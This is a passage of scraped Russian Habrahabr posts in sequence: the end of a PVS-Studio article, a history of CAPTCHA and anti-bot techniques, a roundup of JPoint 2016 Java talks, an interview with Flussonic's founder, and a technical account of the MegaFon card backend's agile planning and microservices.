ошибочных конструкций в коде C#. Анализатор вновь доказал свою эффективность. Конечно, не следует проверять проекты с периодичностью один раз в год, ведь максимальный эффект от статического анализа достигается при его регулярном использовании. Это позволяет исправлять ошибки своевременно и эффективно, не допуская их просачивания в систему сборки или к пользователям. Используйте статический анализ! А чтобы любой желающий мог это делать, мы добавили в наш анализатор возможность бесплатного использования. Удачи Вам в борьбе с ошибками и идеального кода! Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Khrenov. Re-analysis of Umbraco code Прочитали статью и есть вопрос? Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: Ответы на вопросы читателей статей про PVS-Studio, версия 2015 . Пожалуйста, ознакомьтесь со списком.
https://habrahabr.ru/company/pvs-studio/blog/317900/
habrahabr
Немного об истории CAPTCHA
['captcha', 'dpi', 'vas experts']
Системы глубокого анализа трафика имеют дополнительную защитную функцию. Речь идет о защите от DDoS. Для этого используется один из самых популярных и эффективных способов — CAPTCHA, или полностью...
Системы глубокого анализа трафика имеют дополнительную защитную функцию. Речь идет о защите от DDoS. Для этого используется один из самых популярных и эффективных способов — CAPTCHA, или полностью автоматизированный публичный тест Тьюринга для различения компьютеров и людей. Сам по себе тест достаточно известен, однако в его истории и эволюции есть несколько любопытных фактов, о которых мы хотим сегодня рассказать. / Flickr / F▲IL / CC Оригинальная система была разработана в начале XXI века инженерами из Университета Карнеги — Меллона, США. Команда под руководством Луиса фон Ана (Luis von Ahn) искала способ фильтрации регистраций на сайтах, выполняемых автоматическими программами и спам-ботами. Команда разработала систему, показывающую пользователю сильно искаженный текст, который невозможно распознать программными алгоритмами. Работу с ресурсом можно было продолжать только после того, как отображаемое слово было корректно введено в намеченное поле. Решение получилось настолько удачным, что стало активно применяться по всему миру. Однако это быстро привело к появлению нового вида заработка в интернете — решению задач CAPTCHA. Спамеры начали платить людям за ввод «контрольной фразы». Такой доход стал популярен в бедных странах, где возможность получить пусть и минимальные деньги за тысячи решений CAPTCHA достаточно привлекательна. Несмотря на это, сервис не утратил популярности, наоборот, разработчиков начала беспокоить мысль, что они заставляют миллионы людей бессмысленно переводить изображения в текст, понапрасну растрачивая время и усилия, не принося никакой практической пользы. Поэтому Луис задался вопросом : «Можно ли сделать с этим временем что-то полезное?». И нашел на него ответ, представив приложение reCAPTCHA спустя некоторое время. Оно по-прежнему было «завязано» на вводе изображений с картинки, но вместо случайного набора символов пользователь должен был «расшифровать» реальный текст из архивных документов. Программное обеспечение того времени уже было способно распознавать печатные тексты с достаточно высокой точностью, однако все равно в книгах со временем чернила расплываются, что мешало компьютерам определить некоторые слова. Человек же с этим справляется без особых проблем. Первыми в очереди на распознавание оказались архивные номера газеты The New York Times. После этого, когда в 2009 году сервис купила компания Google, расшифровке подверглись старые книги. Получается, что каждый раз, вводя текст с reCAPTCHA, вы разбираете фрагменты из реальных архивных текстов. Луис фон Ан был очень доволен новой версией программы, уверяя, что сервис проживет очень долго, поскольку печатного материала в архивах предостаточно. Подобные эксперименты были проведены и по распознаванию изображений из Google Maps и Google Street View. Однако в скором времени аналитикам компании Google пришлось искать ответ на успешные попытки автоматизации « взлома » даже самых сложных изображений с вероятностью, превышающей 90%. Для решения возникшей проблемы Google начали совершенствовать технологию, и в 2015 году инженеры компании представили новое решение, которое не обязывало пользователя распознавать символы. Новая система анализировала поведение пользователя на сайте до момента нажатия проверочной кнопки «Я не робот», а затем делала вывод: человек это или бот. Если анализ не давал однозначного результата, то пользователю предлагалось пройти дополнительную проверку, например, выбрать из нескольких картинок все, на которых изображены деревья. Другие CAPTCHA и иные решения Помимо самых распространенных систем от компании Google, сегодня имеются и другие решения, направленные на различение человека и машины. Так, разработчики сервиса TextCAPTCHA предлагают пользователям отвечать на простые логические вопросы. Например, о том, какая буква в слове «автомобиль» стоит на третьем месте. Считается, что таких запутанных формулировок будет достаточно, чтобы обмануть «автомат», а конкретные вопросы гораздо проще в плане восприятия человеком. Также некоторые разработчики тестов Тьюринга придерживаются мнения, что лучше просить пользователей решать несложные математические уравнения. Еще одно интересное решение было предложено Facebook в январе 2011 года. Компания экспериментировала с так называемой социальной аутентификацией. По словам представителей компании, идея заключалась в том, чтобы показать пользователю несколько фотографий его друга и попросить назвать его имя. Специалисты Facebook были уверены в том, недоброжелатели могут быть едва ли знакомы с вашими друзьями и не станут собирать всю информацию о вам круге общения, что в целом достаточно спорное утверждение. Также различными онлайн-сервисами используются и другие методы «фильтрации» пользователей, которые дают еще один уровень защиты. Они заменяют или дополняют CAPTCHA. / Flickr / Tarek / CC Honeypot . В 2007 году Фил Хаак (Phil Haack) предложил любопытный метод определения ботов. Он получил название Honeypot. Его особенность заключается в добавлении дополнительного поля при заполнении онлайн-формы, которое было бы невидимо для пользователя-человека. Бот не способен понять, видимо это поле или нет, потому заполняет его «по инерции», что позволяет администратору заблокировать регистрацию как спам.  Временные ограничения . В среднем, сколько времени вам требуется на заполнение онлайн-формы с 10 полями? Большинство людей тратит на это несколько минут, в то время как боты делают это практически мгновенно. Идея решения состоит в том, чтобы отметить как подозрительные все регистрации, поля формы во время которой были заполнены быстрее определенного промежутка времени. Этот способ хорошо работает до тех пор, пока спамеры не поймут, что такой временной порог существует, после этого они учат свои системы заполнять поля ввода помедленнее. Интересные и простые игры . Использование игр в борьбе против спама становится быстрорастущей тенденцией. Вместо того чтобы вводить «капчу», компании просят пользователей сыграть в небольшую игру, дабы доказать свою «человечность». Игры могут быть самыми разными: небольшие платформеры (по типу Марио) или же аркады, например, с ракетой в космосе, которую нужно провести через метеоритный пояс. Помимо стандартных функций защиты от ботов, такое решение добавляет в достаточно рутинную операцию немного веселья. Аудиокапчи . Это альтернатива визуальной CAPTCHA. Сервис сам «говорит», какие слова нужно ввести. И хотя это решение в теории выглядит эффективным, на практике все упирается в качество колонок компьютера пользователя. А если в доступности у пользователя нет акустической системы или наушников, то он не сможет пользоваться сервисом. «Гонка вооружений» между специалистами по безопасности и спамерами никогда не закончится. Поэтому постоянно будут разрабатываться все новые механизмы защиты и их обхода. Но несмотря на это технология reCAPTCHA остается одним из самых надёжных способов борьбы с ботнет-сетями и успешно применяется в системе DPI СКАТ для защиты от DDoS-атак. Постоянная разработка платформы и выпуск новых версий позволяет использовать актуальные механизмы защиты. Если интересно «DPI-дайджест»: Анализ трафика, блокировки, платформы и производители систем DPI «Мир не Дикого Запада»: IEEE опубликовала стандарт по созданию благожелательных роботов «Эхо прошлых лет»: Как решается вопрос недостатка адресов IPv4 Состав системы DPI Схемы подключения DPI Варианты использования DPI. Часть 1 Варианты использования DPI. Часть 2 Иностранные производители DPI и их платформы
https://habrahabr.ru/company/vasexperts/blog/316276/
habrahabr
Обзор (и видеозаписи) лучших докладов Java-конференции JPoint 2016: BigData, кишки JVM и паззлеры
['jpoint', 'java', 'spark', 'bigdata', 'конференции', 'доклады', 'видеозаписи докладов']
В апреле в Москве прошла JPoint 2016 – крупнейшая Java-конференция в России. Напомню, что на конференции было 50 докладов, которые шли в 4 треках в течение двух дней. В сентябре мы открыли...
В апреле в Москве прошла JPoint 2016 – крупнейшая Java-конференция в России. Напомню, что на конференции было 50 докладов, которые шли в 4 треках в течение двух дней. В сентябре мы открыли доступ к видео для наших читателей, однако руки всё никак не доходили до публикации топ-10 докладов на Хабре. Чтобы определить, какие спикеры понравились участникам конференции, мы собираем фидбеки, на основании которых получаем весьма достоверную взвешенную оценку для каждого из докладов. Конечно, какие-то доклады оказываются лучше, какие хуже. Но в этом посте речь пойдет о 10 жемчужинах, лучших докладах, оценка каждого из которых оказалась выше 4.6 по пятибалльной шкале. Ссылка на остальные доклады по катом, так что вам будет чем заняться до Нового Года:) Евгений EvgenyBorisov Борисов — Мифы о Spark или может ли пользоваться Spark обычный Java-разработчик Доклад о том, каково это – работать на Scala-фреймворке под Java, – и почему стоит это делать, в свое время вызвавший бугурт в комментариях . В докладе рассмотрены структура и принципы работы Spark, преимущества Java 8, которые делают работу со Spark удобной и лакончиной. Захватывающий доклад, начинающийся с философии и наполненный демками является редким исключением, заслуженно занявшим первую строчку. Если вы пишете на Java и работаете с BigData – must see: Тагир lany Валеев — Странности Stream API Доклад для тех, кто уже работает со Stream API и кого не пугает слово spliterator. Основное внимание уделено странному поведению стримов в области производительности, жора памяти и параллелизма. Тагир постарался не заострять внимания на микроэффектах, а поговорить о проблемах, решение которых позволяет ускорить ваш код в 2-10 раз. В докладе подробно разбирается, какие баги есть в Java 8 Stream API и что будет исправлено в Java 9. Также даются решения некоторых нетривиальных задач, в том числе при помощи библиотеки StreamEx (автором которой по невероятному стечению обстоятельств является сам Тагир). Алексей Шипилёв — The Lord of the Strings: Two Scours Доклад, вошедший в ТОП-3 всех наших Java-конференций (Joker/JPoint/JBreak). Доклад помогает понять, насколько сильно отличается разработка JDK от обычных проектов. В рамках выступления Алексей показывает две фичи во все еще грядущем JDK 9, направленные на оптимизацию строк: Compact Strings , сжимающие строки с однобайтовыми символами, что улучшает футпринт и даже общую производительность; и Indify String Concat , использующий магию invokedynamic для конкатенации строк, позволяющий подкручивать реализацию конкатенации без рекомпиляции программ. Максим Дорофеев — Воспитай свою обезьяну Единственный нетехнический доклад, получивший высокую оценку аудитории. Впрочем, это же JPoint, у нас даже нетехнические доклады оказываются низкоуровневыми. Вы узнаете, что за «обезьяна» живет в мозгу каждого из нас и каким образом она заставляет нас смотреть еще одну серию « Stranger Things» вместо того, чтобы работать или читать полезную книгу. Этот доклад о том, как приспособиться к себе и окружающим нас людям, чтобы успевать выполнять возложенные на вас задачи и при этом уходить с работы вовремя. Возможно, залог его успеха в том, что многие разработчики – недисциплинированные энтузиасты, работающие по ночам и постоянно испытывающие нехватку часов в сутках. Сергей Walrus Куксенко — Quantum Performance Effects II: Beyond the Core JPoint и Joker – конференции, которые пробуждают в обычных, казалось бы, разработчиках тягу к «железным» оптимизациям. Именно доклады Сергея позволяют утолить жажду крови и хардкора: ниже видеозапись второй части доклада, в котором речь идет о том, как «маленькие-маленькие хреновинки внутри архитектуры современных процессоров влияют на производительность ваших приложений». Первая часть , посвященная тому что происходит в ядре процессора. Новый доклад посвящен эффектам, которые можно достичь за счет оптимизаций на кристалле, лежащих за пределами ядра. Если вы любите перфоманс пожестче, вам сюда: Алексей Шипилёв — Если не Unsafe, то кто: восход VarHandles Как известно, Java-разработчики любят sun.misc.unsafe, а разработчики JDK не любят, когда люди пишут unsafe код. Почему? Потому что « Java is exceptionally safe. Except Unsafe which is unsafe. But it is an exception ». Этот любовный треугольник привел к тому, что в Java 9 доступа к ансейф не будет, а на смену ему придет VarHandles – новый API, сравнимый по скорости с Unsafe, но более безопасный. В докладе Алексей живо с примерами и бенчмарками рассказывает о причинах появления нового API, о его возможностях, ограничениях и скорости работы (которая иногда даже выше, чем unsafe): Барух jbaruch Садогурский, Евгений Борисов, Тагир Валеев — Java 8 Puzzlers Ну, вы знаете. Puzzlers + Java 8 = win. Кортеж из трех Java-звезд не мог не войти в ТОП, особенно с паззлерами. Часовая подборка из смешных и весьма непростых загадок по Java 8: идеально подходит для проверки остроты ума, а также для того, чтобы понять, при чем здесь яйца. Смотреть можно дома, с кружкой чая/кофе/пива заходит лучше сериалов: Руслан cheremin Черемин — Escape Analysis и скаляризация Окей, back to hardcore с Русланом Череминым о тонкостях работы Escape Analysis, позволяющем понять, можно ли без последствий произвести Scalar Replacement (аллоцировать объект прямо на стеке и не тратить время на работу со ссылками и сборку мусора). Доклад начинается с азов, но возможно перед просмотром вы захотите ознакомиться с блогом Руслана , в котором на эту тему есть много интересного. В докладе на примерах рассматриваются сильные и слабые стороны алгоритмов escape analysis применяемые в Java JIT: Роман Гребенников — Страх и ненависть в распределённых системах Бывало у вас такое, что ваш кластер внезапно теряет и портит данные, страдает раздвоением мозга и живет своей насыщенной жизнью против вашей воли? Этот доклад проясняет: Какие проблемы встречаются при создании распределенных систем; Как можно налажать и допустить типичные ошибки при проектировании; Матчасть о целостности, CAP-теореме, линеаризации, консенсусе и CRDT; Как все эти знания применять на практике и какие бывают инструменты для облегчения нелегкой жизни разработчика распределенных систем. Доклад о том, как сделать распределенную систему, не прострелив себе ногу: типичные ошибки и способы их решения, а также немного лайв-кодинга на Scala с Docker'ом с потерей данных в прямом эфире: Олег m0nstermind Анастасьев — Распределенные системы в Одноклассниках Доклад о том, как работает одна из наиболее высконагруженных систем в России, обрабатывающая до 500 000 (полумиллиона, да) запросов в секунду на 8000 серверов в трех датацентрах. Олег прочитал этот доклад на трех наших Java-конференциях (Joker, JPoint, JBreak) и вошел в список лучших на каждой – это, как говорится, неспроста. Здесь вы найдете пример построения отказоустойчивой распределенной системы на Java, основный ошибках и отказах, приемах их тестирования и диагностики. Также речь пойдет и об авариях в распределенных системах и методах их предупреждения. Остальные видео смотрите на нашем YouTube-канале . А в тот момент, когда вы поймете, что интересные видео уже кончились — обратите внимание, что регистрация на JPoint 2017 уже открыта .
https://habrahabr.ru/company/jugru/blog/317764/
habrahabr
Как работают ИТ-специалисты. Максим Лапшин, основатель компании Flussonic
['интервью с разработчиками', 'советы начинающим', 'лайфхак', 'привычки', 'организация работы', 'flussonic']
Мы продолжаем расспрашивать специалистов о режиме труда и отдыха, профессиональных привычках, об инструментарии, который они используют, и многом другом. Будет интересно выяснить, что их...
Мы продолжаем расспрашивать специалистов о режиме труда и отдыха, профессиональных привычках, об инструментарии, который они используют, и многом другом. Будет интересно выяснить, что их объединяет, в чем они противоречат другу другу. Возможно, их ответы помогут выявить какие-то общие закономерности, полезные советы, которые помогут многим из нас. Сегодня наш гость — Максим Лапшин, основатель компании Flussonic. У него достаточно категоричный взгляд на то, каким должен быть бизнесмен в ИТ. Но еще интереснее его отношение к словосочетанию «хороший инженер-программист». Чем занимаетесь в компании? Сейчас я являюсь техническим директором компании. Все еще занимаюсь разработкой, но уже меньше, чем раньше. Кроме того, приходится заниматься вопросами развития и продвижения. Компания маленькая, поэтому заниматься приходится очень многими вещами. Чем больше удается делегировать – тем лучше. Мы не инвестиционный стартап, мы — «бутстрапная» (bootstrap) компания: развиваемся на свои средства. Наш коллектив пока не слишком структурирован. Сколько часов в сутки вы уделяете работе? Жена считает, что 24 часа в сутки (смеется). Ну а я думаю, что часов 11-12. Сколько часов вы спите? Стараюсь, чтобы было часов 8 сна. Вы завтракаете? Да, иначе я к обеду уже становлюсь злым и раздраженным. Обычно я утром везу ребенка в сад и сразу иду в кафе, ем кашу. Потом – на спорт, если нужно. Много времени уходит на дорогу в офис? Я живу в Зеленограде, поэтому времени уходит немного – 10 минут. Чем занимаетесь в пути, когда приходится совершать длительные поездки? Если еду на машине, она забирает все внимание на себя. Если я могу, например, поехать в Москву не на машине, а на электричке, то просто «сижу» в ноутбуке. Каким todo-менеджером пользуетесь лично вы? У меня есть специально разработанная нами система, которая помогает мне не забывать об очень важных вещах – написать клиенту или выполнить другие важные для всей компании задачи. Обычно, когда я утром прихожу на работу, я выписываю себе дела, которые нужно сделать сегодня. Затем я стараюсь их последовательно решать, постепенно отвлекаясь на то, что «всплывает» в процессе. Если получается сделать две трети из этого списка, – это хорошо. Потом, оглядываясь назад, понимаю, что некоторые вещи сами по себе отпочковались. Это важно – уметь отпускать какие-то вещи: думал, что это будет нужно, а потом выясняется, что их важность была переоценена. Каким таск-менеджером / issue-tracker’ом / репозиторием пользуетесь? Используем Gitlab. Issue-tracker мы не используем: это нам неудобно. Вместо этого у нас обычный Redmine для программистов, а также вики. А общение с клиентами происходит через нашу самописную «тикетницу», которая хранит все-все-все за 4 года работы нашей компании. Какие инструменты, фреймворки вы используете для разработки? Редактор кода Sublime, репозиторий Git, IDE Erlang. Больше у нас ничего и нет. Пробовали Bitrix пользоваться, но не сложилось: он идет вразрез с нашими рабочими процессами. Есть ли в вашем отделе какие-то внутренние проекты, библиотеки и для чего они создавались? Да, мы многое автоматизируем в нашей работе, и это не является тем кодом, который мы продаем. Кроме тикетницы у нас есть самописный биллинг. Там мы ведем учет всех денег, полученных от клиентов. Написана она на «рельсах». Я считаю, что такие вещи каждая компания должна писать самостоятельно. Искать готовые решения, ждать от кого-то другого, что это сделают за вас, на мой взгляд, бессмысленно. Но лишних вещей мы стараемся не плодить, чтобы не поддерживать их потом. Что вас раздражает больше всего, когда вы работаете? Раздражает собственное незнание тех вещей, которые позволяют добиться поставленных целей. Когда цель становится понятной, в голове появляется образ того, что хочется построить, но неизвестно, какие шаги нужно для этого сделать: возникает ощущение беспомощности. А это ощущение всех раздражает. Какую технику (компьютеры, планшеты, смартфоны) и операционные системы вы предпочитаете на работе и дома? Я сам с 2007 года работаю на компьютерах Mac. С 1999 года я работал только с Linux. Почти у всех, включая административный персонал, в нашем офисе стоит Mac OS или Linux. У одного человека, который занимается бумажками, стоит Windows: ей нужен Microsoft Word. Это иногда вызывает проблемы. Вы слушаете музыку, когда работаете? Категорически не слушаю. Иначе я потеряюсь. Это очень мешает работе. Если кто-то в офисе хочет слушать музыку, пусть покупает себе закрытые наушники. Какой лайфхак позволяет вам быть эффективнее? Чего-то особенного я не скажу. Главное — постоянно фокусироваться на том, что важно. Когда строишь компанию, есть огромное количество вещей, которые сделать просто необходимо. На самом деле времени крайне мало. Восемь рабочих часов – это вообще ни о чем, когда ты начинаешь заниматься более чем одним делом. Пока я был просто программистом, казалось, что можно о-очень много сделать за один рабочий день. Сейчас я могу составить список из 11 дел. Это означает, что на каждое дело у меня есть 30 минут, а еще надо успеть пообедать. Поэтому что-то приходится выкидывать, фокусироваться на главном. А для этого важно понимать, что компания делает, какие у нее ценности, и как то, что ты делаешь, встраивается в ценности этой компании. Другая важная задача – учиться делегировать. Любой человек вам скажет, что это сложно: поначалу всегда есть провал в скорости работы, но это обычная история. Без каких приложений и сервисов не можете обойтись ни в работе, ни в личной жизни? В первую очередь это платежное решение «Модульбанк». Это, наверное, лучшее, что случилось с банковской системой за последние 50 лет. Если бы их не было, то проще вообще официально закрыться и уйти в «серу». Что бы написал Максим Лапшин 10 лет назад в письме в будущее самому себе? Дал бы совет: если хочешь добиться чего-то большого и важного, то самое главное для программиста – фокусироваться не на том, что ты умеешь, а на том, что нужно людям. Ведь в конце концов, денежный заработок сводится к тому, что люди не покупают то, что им не нужно. Поэтому надо думать о других людях, думать о том, какую ценность ты им приносишь. Когда сидишь и работаешь обычным программистом, это довольно сложно понять. Это может быть ясно на словах, но на деле – далеко не все так просто. У вас пройден огромный путь. А кто-то сейчас стоит в начале этого пути. Что бы вы порекомендовали человеку, пытающемуся пройти тот же путь? Я не готов давать советы о том, как строить свой бизнес. Это надо пройти самому. Но я могу дать совет тому, кто хочет связать себя с компьютерами, программированием и всем прочим. Хороший инженер – это тот, кому без разницы, на чем писать. Инженер, который говорит, что пишет только, например, на Java, – это не первоклассный специалист. У меня в команде есть люди, которым я даю все, что угодно – от экзотической Julia до починки кода на iOS. Все подобные специализации – это вопрос сиюминутных знаний. Ведь через полгода они выветриваются, а более глубокое, общее понимание остается. Это еще важнее для тех, кто хочет связать жизнь не только с программированием, а с околопрограммистским бизнесом. Когда я еще работал в компании «Злые марсиане», мы сотрудничали с Darberry, и с нами общался Олег Козырев – директор компании. Несмотря на то, что это был менеджер, он нам несколько раз приносил код, который сам написал, запустил, протестировал, и в итоге это все у него заработало. Он не чурался такой работы. Хотя этот человек все-таки бизнесмен. Он сейчас делает Rocket Bank, кстати. Поэтому, на мой взгляд, чтобы быть бизнесменом в сфере ИТ, лучше уметь программировать.
https://habrahabr.ru/post/317908/
habrahabr
О карте МегаФона — технические подробности
['мегафон', 'карта мегафона', 'тестирование', 'интеграция', 'agile', 'scrum']
В предыдущих постах мы уже обсуждали банковскую карту МегаФона как финансовый продукт и рассказывали о ее возможностях для конечного потребителя. Но, безусловно, за таким проектом стоит огромная...
В предыдущих постах мы уже обсуждали банковскую карту МегаФона как финансовый продукт и рассказывали о ее возможностях для конечного потребителя. Но, безусловно, за таким проектом стоит огромная работа, которую проделала команда профессионалов. В этот раз мы подробнее расскажем именно о технических особенностях реализации этого проекта и об устройстве программного обеспечения. Учитывая масштаб проекта, описать все тонкости в рамках одного поста не получится, поэтому начнем мы с рассказа о бэкенде системы ДБО (дистанционного банковского обслуживания). Задача бэкенда — обеспечить рабочую связку всех специализированных систем в рамках единой логики, а также функционирование множества фоновых процессов. А самое главное — удобный и функциональный личный кабинет для пользователей. Техническим партнером проекта карты Мегафон выбрал компанию TYME . Все время работы специалисты двух компаний работали в тесной связке с поставщиками банковского ПО, биллинга, платежными системами и другими поставщиками, собирая разрозненные функциональные кусочки мозаики будущего проекта в единое целое. «У нас были сжатые сроки и большой объем работы. Не было лишних дней на долгие обсуждения и права на ошибку при выборе технологии и подходов. Здорово, что нам вместе с компанией TYME удалось реализовать сложный и инновационный проект.» Ян Кухальский, Генеральный директор МегаЛабс В 2013 стартовал проект «Терминалы», и с этого времени мы постоянно совершенствовали решение, интегрируя его со своими сервисами и новыми провайдерами услуг и добавляя новые функции для клиентов. У TYME довольно большой опыт работы в финтех-отрасли, они успешно преодолели все трудности и мы вместе с технологическими партнёрами успешно запустили карту МегаФон а. Далее на страницах блога МегаФона даём слово команде TYME , пусть ребята сами расскажут о деталях своей части проекта. Детали большого проекта После реализации каждого масштабного проекта мы оглядываемся назад, чтобы оценить проделанную работу. В весьма сжатые сроки нам удалось запустить крайне сложную систему, которая находится в самом сердце финансового продукта федерального масштаба. Немного цифр для примера: 18 внешних систем для интеграции 600 бизнес-процессов были реализованы в рамка проекта 770 страниц технической документации 2500 сценариев для автотестов 15000 человеко-часов разработки Оценить истинный объем задач можно только тогда, когда разработка по проекту заканчивается. Объем задач в ходе работы постоянно увеличивался. Если смотреть на это сейчас, то становится даже немного страшно — как мы в принципе могли подписаться на такой объем в такие сроки. Ноябрь 2015-го. Проект — на стадии концепции. В переводе на человеческий — у нас есть лишь четко оговоренная дата запуска и приблизительное ТЗ от бизнеса. Отсекаем мрамор Возможность изучить заказчика и не доставать его постоянными вопросами у нас появилась благодаря правильно выстроенным отношениям и нескольким годам совместной работы. Вот некоторые принципы, следование которым нам очень помогло: Работать, исходя из текущего состояния требований. Нужно искать конкретные задачи, за которые уже можно взяться прямо сейчас, вместо того, чтобы заниматься скрупулезной детализацией. Применять декомпозицию. Нужно распределять работы и вести проектирование и разработку независимо. Использовать готовые источники. Одна из наших задач – интеграция с уже готовыми системами, которые на момент начала работ уже были частично запущены. Это прозвучит банально, но то, что позволило нам упростить интеграцию — это вдумчивое изучение документации по функционирующим системам и совместная фиксация принципов работы на ранних этапах проекта. Выполнять лидирующую роль в управлении. Залог успех проекта — это инициатива разработчика в процессе формализации требований. То есть работать надо всегда на опережение, искать возможность продвинуться вперед по другим частям плана, если какие-то другие провисают. Само собой, при таком подходе неизбежно возникает риск для разработчика — ведь ресурсы на аналитику приходится тратить весьма существенные, и по собственной инициативе. Подходит этот путь в тех проектах, в которых вы полностью уверены в своих взаимоотношениях с заказчиком, и если вы хорошо ориентируетесь в самой отрасли. Agile и долгосрочное планирование О достоинствах Agile-методологии сказано уже много. Не будем повторяться и сконцентрируемся на тех моментах, которые обычно заказчику тяжелее всего принять. Нет жестких сроков окончания большого проекта Затраты на большой проект могут вырасти при его проработке Непредсказуемые границы проекта, то есть скоуп работ всегда будет относительным, а  попытка его финализировать лишь приведет к сильно отложенному старту. Так как мы работали по SCRUM, то проблема была стандартной – заказчику нужен был «водопадный» план проекта на ближайший год. А детализация проекта была готова только на несколько ближайших спринтов, за которые команда взяла на себя обязательства выполнить описанные задачи. Часто можно увидеть следующую рекомендацию : если вы хотите получить долгосрочный план, работая по Agile, заведите в Project каждый спринт или итерацию как задачу. В результате на выходе будет примерно следующая картина: Рекомендация настолько общая, что у нас не прижилась. Этот вариант плана не показывает вехи продукта, значимые для заказчика, и не может быть полноценно использован для обсуждения долгосрочного графика проекта. Серебряную пулю в 1986-м придумал Барри Боэм, американский военный. Его идея — спиральная модель разработки . Многие айтишники уже знают, что это, но на практике все равно очень часто наблюдаются крайности — или Agile без долговременных планов, или водопад со сроками и бюджетами, которые постоянно изменяются. Артемий Лебедев в «Ководстве» неплохо высказался на этот счет. Благодаря спиральной модели мы решили две задачи сразу: поддерживали актуальный долгосрочный план, понятный заказчику выдавали в разработку задачи итеративно, не превращая при этом SCRUM в водопад. Проектная же работа строилась так: Итеративная детализация требований. Документ, который описывал требования по каждому из модулей системы, имел свою внутреннюю структуру, когда составляющие ее компоненты могут находиться в разной степени готовности. На каждой из итераций детализация требований увеличивалась, давая возможность взять в разработку очередной объем задач. Эволюция рабочих продуктов. На каждой итерации разработки мы пересматривали весь стек рабочих продуктов на полную глубину в соответствии с новыми реалиями требований и фидбеком на прототипы. Это заставляло нас иногда переделывать архитектуру продукта.  К примеру, на старте проекта планировалось, что все процессы будут обеспечиваться в рамках 40 микросервисов, и в ходе детализации архитектуры их количество было сокращено до 20.Так эволюционировали представления о том, каким образом необходимо декомпозировать бизнес-логику по сервисам. В итоге это дало очень большое преимущество — мы постоянно имели возможность получать фидбек о текущей реализации архитектуры, и практически не накапливали технический долг. Регулярное перестроение плана. Долгосрочный план проекта также был «живым», исходя из актуальных требований, информации о графике разработки внешних систем и других вводных. Мы не относились к плану как к константе, закрепленной на старте проекта, для нас это был «маршрут», который должен привести из той точки, где мы находимся, к итоговой цели. Соответственно, если ситуация вокруг меняется (а происходит это регулярно),  уточняется и план. Ориентированность на ранний результат. Мы постоянно работали над тем, чтобы максимально рано взять задачу в разработку, и как можно быстрее выдать результат для приемки и тестирования. При этом мы старались разбивать зависимости, мешавшие нам это сделать — если не готов внешний сервис, мы не ждем его реализации, а пишем «заглушку»; если существует неопределенность по какой-то части задачи, стараемся декомпозировать ее еще сильнее и выполнить работы по тем составляющим, где определенность есть. Часто команды разработки не идут на подобные затраты, опасаясь сделать лишнюю работу, и зачастую эти опасения обоснованы. В этот раз мы сделали ставку на скорость. Разработка по SCRUM . Мы прикладывали максимальные усилия для того, чтобы изолировать разработчиков от неопределенностей в проекте, не нарушая привычный ритм SCRUM. Управление проектом было построено таким образом, что в каждый момент времени был «буфер» понятных команде задач как минимум на один спринт вперед. Это позволило не терять темп на протяжении всего периода активной разработки. В итоге мы пришли к такому маппингу задач между планом в MS Project для заказчика и Jira для команды разработки За само управление потоком работ отвечала Jira (но это мог бы быть любой удобный для Agile продукт), а план в MS Project был нужен для контроля глобального статуса работ и его визуализации для заказчика. Макроэффект от микросервисов Проект превратился в кучу подпроектов, которые были весьма связаны между собой. Так как мы еще вначале выбрали подход, обеспечивающий такое дробление — мы могли это себе позволить. Тренд микросервисов существует в мире разработки уже довольно давно. Огромное количество обсуждений на эту тему происходят на профильных конференциях. Кто-то принципиально отрицает пользу от такого построения систем, есть и те кто занял прямо противоположную позицию и переводит все свои сложные системы на микросервисную архитектуру. Микросервисная архитектура — это подход к разработке, при котором вместо создания одного большого приложения, может быть, разделенного на слои (GUI, Бизнес-логика, БД), создается множество небольших, изолированных друг от друга компонент, которые называются микросервисами. Не вдаваясь в теоретические детали, которые можно достаточно легко найти на Хабре , хотелось бы остановиться на том, как оказался данный подход полезен в нашем проекте. Вот главные плюсы такого подхода (на наш взгляд): Каждый сервис решает конкретный набор задач, у него определен API, по которому можно обращаться к сервису. Мы отлично изолируем ответственность внутри одного сервиса. Один микросервис, при желании, можно легко заменить новой версией или быстро провести безопасный рефакторинг. Горизонтальное масштабирование микросервиса при наличии сложностей с быстродействием. Это killer-feature для систем, которые должны работать в режиме 24*7. Масштабирование всегда идет вместе с мониторингом быстродействия каждого сервиса, мы собираем эту статистику и  принимаем решение о запуске дополнительных инстансов. Особенности корпоративных сетей таковы, что по ИБ мы обязаны работать в закрытом контуре, но при этом часть нашей платформы имеет доступ в интернет, другие сервисы изолированы и работают с десятком внешних систем в рамках отдельных подсетей. Мы выделили сегменты, которые работают в публичном интернете, внутренние сервисы и интеграционные сервисы, которые находятся в специальной зоне с максимально закрытым доступом. В случае монолита, пришлось бы совмещать на одном сервере несколько сетей, что не всегда  нравится сотрудникам обеспечивающим ИБ. Само собой, не удалось избежать и некоторых сложностей: Самое сложное решение — о границах микросервиса. Нужно ответить безошибочно на вопрос — какой из существующих микросервисов должен выполнять эту задачу? На старте нам приходилось дублировать некоторые решения в нескольких микросервисах, чтобы сохранить их изолированность. Да, для разработчика это немного непривычная ситуация, так как переиспользование кода — основная задача. Кардинально иной подход к обновлению нашего приложения. Без автоматизации этого процесса для администратора усложняется многократно, так как ему пришлось бы в окно обслуживания выполнить в несколько раз большее количество операций, чтобы доставить обновление в промышленную среду. Разделение системы на набор микросервисов + небольшая команда + разработка по SCRUM: вот рецепт, который помог нам снизить уровень зависимостей и максимально эффективно использовать все наши возможности и компетенции, вести разработку одновременно по нескольким направлениям одновременно, минимизируя влияние каждого сервиса на остальные части системы. Быть в центре событий Наша система не только обеспечивает бизнес-логику представления данных банка для клиента, это еще и интеграционная шина, объединяющая front-end и все участвующие внешние системы. Когда отказывает наш бэкенд  - это автоматически означает, что пользователь видит сбой. Когда отказывает любая другая система — у нас есть возможность смягчить проблему и сохранить работоспособность большей части функций. Это значит, что наша система должна обладать эксплуатационными характеристиками, превышающими эти показатели любой смежной с нами платформы: Лучший uptime Самый большой запас по производительности Лучшая устойчивость по отношению к отказам и сбоям Мы изначально понимали, что наша система станет главным узлом, с которого будет начинаться диагностика инцидентов, и мы должны обладать исчерпывающей информацией для любых технических расследований. Эти вводные данные предопределили дополнительные условия для разработки: Быстрая доставка обновлений Максимальное качество работы каждого сервиса Исчерпывающее сквозное лигирование Обновить за 90 секунд Когда работаешь с платформой, построенной на микросервисах, важно понимать: Обновление нужно максимально автоматизировать. Пора забыть про ручное обновление и максимально устранить человеческий фактор. Огромный плюс микросервисов — децентрализованность. Мы сразу запланировали, что наши системы не 